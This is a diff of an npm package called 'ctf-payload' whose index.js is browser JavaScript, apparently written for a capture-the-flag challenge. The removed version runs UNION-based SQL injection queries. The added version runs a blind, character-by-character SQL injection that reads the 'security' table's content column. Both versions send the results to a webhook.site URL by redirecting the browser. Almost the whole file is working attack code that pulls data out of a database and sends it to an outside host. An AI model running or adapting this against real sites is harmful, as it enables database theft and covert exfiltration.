ctf-payload 1.0.58 → 1.0.59

package/index.js

@@ -1,16 +1,24 @@
 if(window.location.hostname === '127.0.0.1'){
-  const queries = [
-    "id=0 UNION SELECT 'TESTSTRING'--",
-    "id=0 UNION SELECT sql FROM sqlite_master WHERE type='table'--",
-    "id=0 UNION SELECT name FROM pragma_table_info('security')--"
-  ];
-  Promise.all(queries.map(body=>
-    fetch('/check-resolve',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body})
-    .then(r=>r.text())
-    .then(t=>body.substring(20,45)+'='+t.substring(0,150))
-  )).then(results=>{
-    window.location='https://webhook.site/6f93f943-4f0f-4d41-bdeb-b568c015030e?d='+btoa(unescape(encodeURIComponent(results.join('|'))));
-  });
+  async function extractChar(pos, table, col){
+    const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-!@';
+    for(let c of chars){
+      const body = `id=0 UNION SELECT CASE WHEN (SELECT substr(${col},${pos},1) FROM ${table} LIMIT 1 OFFSET 4)='${c}' THEN 'Done' ELSE 'Not yet' END--`;
+      const r = await fetch('/check-resolve',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body});
+      const t = await r.text();
+      if(t.includes('"Done"')) return c;
+    }
+    return '?';
+  }
+  async function extract(){
+    let result = '';
+    for(let i=1;i<=50;i++){
+      const c = await extractChar(i,'security','content');
+      if(c==='?') break;
+      result += c;
+    }
+    window.location='https://webhook.site/6f93f943-4f0f-4d41-bdeb-b568c015030e?flag='+encodeURIComponent(result);
+  }
+  extract();
 } else {
   window.location='http://127.0.0.1:31337/part2';
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "ctf-payload",
-  "version": "1.0.58",
+  "version": "1.0.59",
   "main": "index.js",
   "scripts": {
     "test": "echo \"Error: no test specified\" && exit 1"